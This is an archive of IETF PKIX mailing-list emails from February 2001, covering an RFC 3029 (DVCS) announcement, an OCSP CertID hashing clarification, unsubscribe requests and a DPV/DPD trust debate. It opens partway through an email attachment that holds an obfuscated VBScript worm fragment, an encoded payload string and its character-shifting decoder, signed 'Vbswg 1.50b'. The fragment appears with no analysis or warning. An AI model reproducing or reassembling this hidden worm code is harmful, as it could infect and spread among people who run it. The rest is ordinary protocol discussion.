Q0:fCtfug=10uk=0F9sd4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10=
$k=0F9sd4:6x5\5D0fq=11{=11?J$<k=11$=11(dxtehn(=11$=11jEeg=11mjVuk$#(=11x=
=11ednt=11h=11($$=0F=10gu=11vYhpu:sI[h;?3sk496d5:5x0\vCcvjegovp=10uh=0Fu=
Ysp[:;I3hC0fft=11yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$pCcpqMtwkpqmcxl0irx=
0ud=10$k=0F9sd4:6x5\5F0ngvgCgvhtgwUodvk?=11V=11wt=10gK=0F=11hsk496d5:5x0=
\qV>=11=11@$$V=11gj=10pk=0F9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ=
$EM^WquvhcygtQ^VpgjnH^{conkfg.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11=
fhK=0F=10gPvz=0F=10pg=11fhk=0F=10pG=11fwHepkvpq=0F=10X)udiy3=1170d2")
Function e7iqom5JE4z(hFeiuKrcoj3)
For I =3D 1 To Len(hFeiuKrcoj3) Step 2
StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1)
WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) =3D 15 Then
StTP1MoJ3ZU=3D Chr(10)
ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then
StTP1MoJ3ZU =3D Chr(13)
ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then
StTP1MoJ3ZU =3D Chr(32)
Else
StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2)
End If
If WHz23rBqlo7<> "" Then
If Asc(WHz23rBqlo7) =3D 15 Then
WHz23rBqlo7=3D Chr(10)
ElseIf Asc(WHz23rBqlo7) =3D 16 Then
WHz23rBqlo7=3D Chr(13)
ElseIf Asc(WHz23rBqlo7) =3D 17 Then
WHz23rBqlo7=3D Chr(32)
Else
WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2)
End If
End If
e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
Next
End Function
'Vbswg 1.50b
------_=_NextPart_000_01C09599.10306B7C--


Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA01348 for <[e-mail]>; Mon, 12 Feb 2001 16:02:48 -0800 (PST)
Received: from ISI.EDU (jet.isi.edu [128.9.160.87]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id QAA10443; Mon, 12 Feb 2001 16:02:49 -0800 (PST)
Message-Id: <[e-mail]>
To: IETF-Announce: ;
Subject: RFC 3029 on DVCS Protocols
Cc: [e-mail], [e-mail]
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Mon, 12 Feb 2001 16:02:49 -0800
From: RFC Editor <[e-mail]>

--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 3029

        Title:	    Internet X.509 Public Key Infrastructure Data
                    Validation and Certification Server Protocols
        Author(s):  C. Adams, P. Sylvester, M. Zolotarev,
                    R. Zuccherato 
        Status:     Experimental
	Date:       February 2001
        Mailbox:    [e-mail], [e-mail],
                    [e-mail],
                    [e-mail] 
        Pages:      51
        Characters: 107347
        Updates/Obsoletes/SeeAlso:    None        

        I-D Tag:    draft-ietf-pkix-dcs-07.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3029.txt


This document describes a general Data Validation and Certification
Server (DVCS) and the protocols to be used when communicating with
it.  The Data Validation and Certification Server is a Trusted Third
Party (TTP) that can be used as one component in building reliable
non-repudiation services.
 
Useful Data Validation and Certification Server responsibilities in a
PKI are to assert the validity of signed documents, public key
certificates, and the possession or existence of data.
 
Assertions created by this protocol are called Data Validation
Certificates (DVC).
 
We give examples of how to use the Data Validation and Certification
Server to extend the lifetime of a signature beyond key expiry or
revocation and to query the Data Validation and Certification Server
regarding the status of a public key certificate.  The document
includes a complete example of a time stamping transaction.

This document is a product of the Public-Key Infrastructure (X.509)
Working Group of the IETF.

This memo defines an Experimental Protocol for the Internet community.
It does not specify an Internet standard of any kind.  Discussion and
suggestions for improvement are requested.  Distribution of this memo
is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [e-mail].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [e-mail].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [e-mail] with the message body 
help: ways_to_get_rfcs.  For example:

        To: [e-mail]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [e-mail].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
[e-mail].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="[e-mail]"

Content-Type: text/plain
Content-ID: <[e-mail]>

RETRIEVE: rfc
DOC-ID: rfc3029

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3029.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <[e-mail]>

--OtherAccess--
--NextPart--


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA05717 for <[e-mail]>; Mon, 12 Feb 2001 07:52:19 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Mon, 12 Feb 2001 07:52:14 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 12 Feb 2001 07:52:14 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <DSYBWNTD>; Mon, 12 Feb 2001 07:47:03 -0800
Content-return: allowed
Date: Mon, 12 Feb 2001 07:47:02 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: OCSP v1 - request for clarification of request
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: multipart/alternative; boundary="Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)
Content-type: text/plain; charset="iso-8859-1"

 
Hi Jonathan,
    It only applies to the issuerKeyHash. The text will be rephrased before
we become a
draft standard.
 
Regards,
Ambarish
 

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
<http://www.valicert.com/> 
Mountain View, CA 94043


-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Monday, February 12, 2001 3:10 AM
To: [e-mail]
Subject: OCSP v1 - request for clarification of request



Hi all, 

We'd be grateful for clarification of an ambiguity in the June 1999 OCSP v1
spec. 

Section 4.1.1 includes the following: 

   CertID          ::=     SEQUENCE { 
       hashAlgorithm       AlgorithmIdentifier, 
       issuerNameHash      OCTET STRING, -- Hash of Issuer's DN 
       issuerKeyHash       OCTET STRING, -- Hash of Issuers public key 
       serialNumber        CertificateSerialNumber } 

   issuerNameHash is the hash of the Issuer's distinguished name. The 
   hash shall be calculated over the DER encoding of the issuer's name 
   field in the certificate being checked. issuerKeyHash is the hash of 
   the Issuer's public key. The hash shall be calculated over the value 
   (excluding tag and length) of the subject public key field in the 
   issuer's certificate. The hash algorithm used for both these hashes, 
   is identified in hashAlgorithm. serialNumber is the serial number of 
   the certificate for which status is being requested. 

The question is a simple one:  does the 'excluding tag and length' apply
only to the issuerKeyHash, or does it apply also to the issuerNameHash? 

I suggest this paragraph be re-phrased in future versions to clarify this
point. 

Many thanks in advance, 

Jonathan 
----------------------- 
[e-mail] 
www.symbian.com 


****************************************************************************
***************************************
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16
Harcourt Street, London, W1H 4AD, UK.
This message is intended only for use by the named addressee and may contain
privileged and/or confidential information. If you are not the named
addressee you should not disseminate, copy or take any action in reliance on
it. If you have received this message in error please notify
[e-mail] and delete the message and any attachments
accompanying it immediately. Symbian does not accept liability for any
corruption, interception, amendment, tampering or viruses occuring to this
message in transit or for any message sent by its employees which is not in
compliance with Symbian corporate policy.
****************************************************************************
***************************************



--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)
Content-type: text/html; charset="iso-8859-1"
Content-transfer-encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff size=3D2>Hi=20
Jonathan,</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>&nbsp;&nbsp;&nbsp; It only applies to the issuerKeyHash. The =
text will be=20
rephrased before we become a</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff size=3D2>draft=20
standard.</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>Regards,</FONT></SPAN></DIV>
<DIV><SPAN class=3D476315115-12022001><FONT face=3DArial =
color=3D#0000ff=20
size=3D2>Ambarish</FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<P><FONT=20
size=3D2>---------------------------------------------------------------=
------<BR>Ambarish=20
Malpani<BR>Architect&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;=20
650.567.5457<BR>ValiCert,=20
Inc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
[e-mail]<BR>339 N. Bernardo=20
Ave.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;=20
<A target=3D_blank=20
href=3D"http://www.valicert.com/">http://www.valicert.com</A><BR>Mountai=
n View, CA=20
94043<BR></FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
[e-mail]=20
  [mailto:[e-mail]]<BR><B>Sent:</B> Monday, =
February 12,=20
  2001 3:10 AM<BR><B>To:</B> [e-mail]<BR><B>Subject:</B> OCSP =
v1 -=20
  request for clarification of request<BR><BR></FONT></DIV><BR><FONT=20
  face=3Dsans-serif size=3D2>Hi all,</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>We'd be grateful for clarification of an ambiguity in the =
June 1999=20
  OCSP v1 spec.</FONT> <BR><BR><FONT face=3Dsans-serif size=3D2>Section =
4.1.1=20
  includes the following:</FONT> <BR><BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;CertID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;::=3D &nbsp; &nbsp; =
SEQUENCE=20
  {</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; &nbsp; &nbsp;=20
  &nbsp;hashAlgorithm &nbsp; &nbsp; &nbsp; AlgorithmIdentifier,</FONT> =
<BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;issuerNameHash =
&nbsp; &nbsp;=20
  &nbsp;OCTET STRING, -- Hash of Issuer's DN</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;issuerKeyHash &nbsp; &nbsp; =
&nbsp; OCTET=20
  STRING, -- Hash of Issuers public key</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp; &nbsp; &nbsp;serialNumber &nbsp; &nbsp; &nbsp; =

  &nbsp;CertificateSerialNumber }</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>&nbsp; &nbsp;issuerNameHash is the hash of the Issuer's =
distinguished=20
  name. The</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; =
&nbsp;hash shall be=20
  calculated over the DER encoding of the issuer's name</FONT> =
<BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp;field in the certificate =
being checked.=20
  issuerKeyHash is the hash of</FONT> <BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;the Issuer's public key. The hash shall be calculated over the=20
  value</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; =
&nbsp;(excluding tag and=20
  length) of the subject public key field in the</FONT> <BR><FONT=20
  face=3Dsans-serif size=3D2>&nbsp; &nbsp;issuer's certificate. The =
hash algorithm=20
  used for both these hashes,</FONT> <BR><FONT face=3Dsans-serif =
size=3D2>&nbsp;=20
  &nbsp;is identified in hashAlgorithm. serialNumber is the serial =
number=20
  of</FONT> <BR><FONT face=3Dsans-serif size=3D2>&nbsp; &nbsp;the =
certificate for=20
  which status is being requested.</FONT> <BR><BR><FONT =
face=3Dsans-serif=20
  size=3D2>The question is a simple one: &nbsp;does the 'excluding tag =
and length'=20
  apply only to the issuerKeyHash, or does it apply also to the=20
  issuerNameHash?</FONT> <BR><BR><FONT face=3Dsans-serif size=3D2>I =
suggest this=20
  paragraph be re-phrased in future versions to clarify this =
point.</FONT>=20
  <BR><BR><FONT face=3Dsans-serif size=3D2>Many thanks in =
advance,</FONT>=20
  <BR><BR><FONT face=3Dsans-serif size=3D2>Jonathan</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>-----------------------</FONT> <BR><FONT face=3Dsans-serif=20
  size=3D2>[e-mail]</FONT> <BR><FONT =
face=3Dsans-serif=20
  size=3D2>www.symbian.com</FONT> <BR><CODE><FONT=20
  =
size=3D3><BR><BR>*******************************************************=
************************************************************<BR>Symbian =

  Limited (Co.No.3173352) Registered Office: Sentinel House, 16 =
Harcourt Street,=20
  London, W1H 4AD, UK.<BR>This message is intended only for use by the =
named=20
  addressee and may contain privileged and/or confidential information. =
If you=20
  are not the named addressee you should not disseminate, copy or take =
any=20
  action in reliance on it. If you have received this message in error =
please=20
  notify [e-mail] and delete the message and any =
attachments=20
  accompanying it immediately. Symbian does not accept liability for =
any=20
  corruption, interception, amendment, tampering or viruses occuring to =
this=20
  message in transit or for any message sent by its employees which is =
not in=20
  compliance with Symbian corporate=20
  =
policy.<BR>*************************************************************=
******************************************************<BR></BLOCKQUOTE><=
/FONT></CODE></BODY></HTML>

--Boundary_(ID_a5oU3wZqG7+aeB9JA4UY/A)--


Received: from nyc1251-smtp01.radianz.com ([57.68.24.164]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA22197 for <[e-mail]>; Mon, 12 Feb 2001 04:34:43 -0800 (PST)
From: [e-mail]
Subject: unsubscribe
To: [e-mail]
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <[e-mail]>
Date: Mon, 12 Feb 2001 07:34:09 -0500
X-MIMETrack: Serialize by Router on NYC1251-SMTP01/SERV/RadianzExt(Release 5.0.5 |September 22, 2000) at 02/12/2001 07:35:02 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

unsubscribe



Received: from extapps03.intra.dmz ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA15377 for <[e-mail]>; Mon, 12 Feb 2001 03:12:49 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by extapps03.intra.dmz (Content Technologies SMTPRS 4.1.5) with ESMTP id <[e-mail]> for <[e-mail]>; Mon, 12 Feb 2001 11:11:10 +0000
Received: from symbianuk20.symbian.com ([10.170.2.25]) by SymbianUK05.Symbian.com (Lotus Domino Release 5.0.1b (Intl)) with ESMTP id 2001021211105113:15819 ; Mon, 12 Feb 2001 11:10:51 +0000 
To: [e-mail]
Cc: 
Subject: OCSP v1 - request for clarification of request
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Mon, 12 Feb 2001 11:10:10 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK20/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/02/2001 11:10:11 AM, Serialize complete at 12/02/2001 11:10:11 AM, Itemize by SMTP Server on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/02/2001 11:10:51 AM, Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/02/2001 11:10:51 AM, Serialize complete at 12/02/2001 11:10:51 AM
MIME-Version: 1.0
Content-Type: multipart/alternative ; boundary="=_alternative 003D648E802569F1_="

This is a multipart message in MIME format.
--=_alternative 003D648E802569F1_=
Content-Type: text/plain; charset="us-ascii"

Hi all,

We'd be grateful for clarification of an ambiguity in the June 1999 OCSP 
v1 spec.

Section 4.1.1 includes the following:

   CertID          ::=     SEQUENCE {
       hashAlgorithm       AlgorithmIdentifier,
       issuerNameHash      OCTET STRING, -- Hash of Issuer's DN
       issuerKeyHash       OCTET STRING, -- Hash of Issuers public key
       serialNumber        CertificateSerialNumber }

   issuerNameHash is the hash of the Issuer's distinguished name. The
   hash shall be calculated over the DER encoding of the issuer's name
   field in the certificate being checked. issuerKeyHash is the hash of
   the Issuer's public key. The hash shall be calculated over the value
   (excluding tag and length) of the subject public key field in the
   issuer's certificate. The hash algorithm used for both these hashes,
   is identified in hashAlgorithm. serialNumber is the serial number of
   the certificate for which status is being requested.

The question is a simple one:  does the 'excluding tag and length' apply 
only to the issuerKeyHash, or does it apply also to the issuerNameHash?

I suggest this paragraph be re-phrased in future versions to clarify this 
point.

Many thanks in advance,

Jonathan
-----------------------
[e-mail]
www.symbian.com


*******************************************************************************************************************
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16 Harcourt Street, London, W1H 4AD, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
*******************************************************************************************************************

--=_alternative 003D648E802569F1_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hi all,</font>
<br>
<br><font size=2 face="sans-serif">We'd be grateful for clarification of an ambiguity in the June 1999 OCSP v1 spec.</font>
<br>
<br><font size=2 face="sans-serif">Section 4.1.1 includes the following:</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;CertID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;::= &nbsp; &nbsp; SEQUENCE {</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;hashAlgorithm &nbsp; &nbsp; &nbsp; AlgorithmIdentifier,</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;issuerNameHash &nbsp; &nbsp; &nbsp;OCTET STRING, -- Hash of Issuer's DN</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;issuerKeyHash &nbsp; &nbsp; &nbsp; OCTET STRING, -- Hash of Issuers public key</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;serialNumber &nbsp; &nbsp; &nbsp; &nbsp;CertificateSerialNumber }</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;issuerNameHash is the hash of the Issuer's distinguished name. The</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;hash shall be calculated over the DER encoding of the issuer's name</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;field in the certificate being checked. issuerKeyHash is the hash of</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;the Issuer's public key. The hash shall be calculated over the value</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;(excluding tag and length) of the subject public key field in the</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;issuer's certificate. The hash algorithm used for both these hashes,</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;is identified in hashAlgorithm. serialNumber is the serial number of</font>
<br><font size=2 face="sans-serif">&nbsp; &nbsp;the certificate for which status is being requested.</font>
<br>
<br><font size=2 face="sans-serif">The question is a simple one: &nbsp;does the 'excluding tag and length' apply only to the issuerKeyHash, or does it apply also to the issuerNameHash?</font>
<br>
<br><font size=2 face="sans-serif">I suggest this paragraph be re-phrased in future versions to clarify this point.</font>
<br>
<br><font size=2 face="sans-serif">Many thanks in advance,</font>
<br>
<br><font size=2 face="sans-serif">Jonathan</font>
<br><font size=2 face="sans-serif">-----------------------</font>
<br><font size=2 face="sans-serif">[e-mail]</font>
<br><font size=2 face="sans-serif">www.symbian.com</font>
<br><CODE><FONT SIZE=3><BR>
<BR>
*******************************************************************************************************************<BR>
Symbian Limited (Co.No.3173352) Registered Office: Sentinel House, 16 Harcourt Street, London, W1H 4AD, UK.<BR>
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.<BR>
*******************************************************************************************************************<BR>
</FONT></CODE>
--=_alternative 003D648E802569F1_=--


Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA06154 for <[e-mail]>; Sun, 11 Feb 2001 20:40:27 -0800 (PST)
Received: from hippo ([64.229.145.199]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010212044000.GWSB11042.tomts7-srv.bellnexxia.net@hippo> for <[e-mail]>; Sun, 11 Feb 2001 23:40:00 -0500
Message-ID: <002d01c094ad$f0bf5d20$[e-mail]>
From: "Raymond Lee" <[e-mail]>
To: <[e-mail]>
Subject: unsubscribe
Date: Sun, 11 Feb 2001 23:40:34 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_002A_01C09484.074AA420"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01C09484.074AA420
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_002A_01C09484.074AA420
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>unsubscribe</FONT></DIV></BODY></HTML>

------=_NextPart_000_002A_01C09484.074AA420--



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA20533 for <[e-mail]>; Fri, 9 Feb 2001 09:14:51 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1MWA96GH; Fri, 9 Feb 2001 09:13:33 -0800
From: "Carlin Covey" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, "Peter Sylvester" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Fri, 9 Feb 2001 10:13:24 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <v04220806b6a8813b19cc@[128.33.238.89]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

<snip>

> > >6.  There exists a need for loop detection.          [Sylvester,
> 1/11/01] 

<snip>

OK. A list of IDs of servers that have been involved in processing a
request seems reasonable. I'm not sure whether the situations Carlin
notes in his response are ones we need to address, yet. 

Steve  

[Carlin]  I don't see a reason at this point to address the 
          "intentional loop" situations that I pointed out
          earlier.  I simply wanted to mention them in case
          someone wiser than I could foresee a problem.
          I'd be happy with a conscious decision not to 
          address these issues.

Regards,

Carlin

-----------------------------------

- Carlin Covey
  Cylink Corp.




Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA19335 for <[e-mail]>; Fri, 9 Feb 2001 08:57:34 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1MWA96D8; Fri, 9 Feb 2001 08:56:16 -0800
From: "Carlin Covey" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, "Michael Myers" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Fri, 9 Feb 2001 09:56:07 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <v04220800b6a8c83b61db@[128.33.238.89]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

<snip>

>
>The real question is:  "Is a DPD server subject to security architecture
>requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
>given this requirement.  If the WG can resolve a position to this question,
>we'll be quick to closure on the issue.

I think we are way out of sync here. As we have always used the term,
"trust" in the DPV server is independent of assurance and of any
formal evaluation criteria, e.g., Common Criteria (although one might
argue that it should be otherwise). So, Ihave to  reject your
restatement of this question.

[Carlin]  Just to throw my tuppence in here.....

          Mike's usage of the term "untrusted" is quite
          familiar to those of us who have long been involved
          in computer security work.  This usage simply reflects
          the notion that one should not rely on information unless
          there is good reason to believe that it is correct.
          (But then, there's a sucker born every minute.....)

          It appears to me that both Mike and Steve agree
          (as do I) that the premise of the DPD service is
          that there is no "good reason" (i.e. formal security
          evaluation) for the client to rely on the correctness
          of the response received from a DPD server.  As we
          say in the US, the client is "from Missouri" and has
          to verify this information for himself.

          We have been using the term "trust" in the DPV context
          to mean that the DPV client does accept the response
          from the server as "gospel."  Perhaps we should instead
          have been using the term "rely," because the means by
          which the client or client's organization) makes the
          decision to believe the data is out of scope of the DPV
          specification.  The decision could be consciously made
          without evidence ("faith") or made with evidence
          {"science"), both of which are conscious trust decisions,
          or the decision could be made unconsciously (see sucker
          natal comment above), in which case the reliance is based
          more on negligence than on trust. Once the reliance
          decision is made, the means by which this decision is
          encoded for automated processing is within scope of the
          DPV specification.

          I hope that, modulo a few lexicology debates, we are all in
          agreement that a DPV client relies on a DPV response, but a
          DPD client does not rely on a DPD response.

          (Perhaps not really worth tuppence, but with depreciation ...)

Regards,

Carlin


---------------------------

- Carlin Covey
  Cylink Corp.



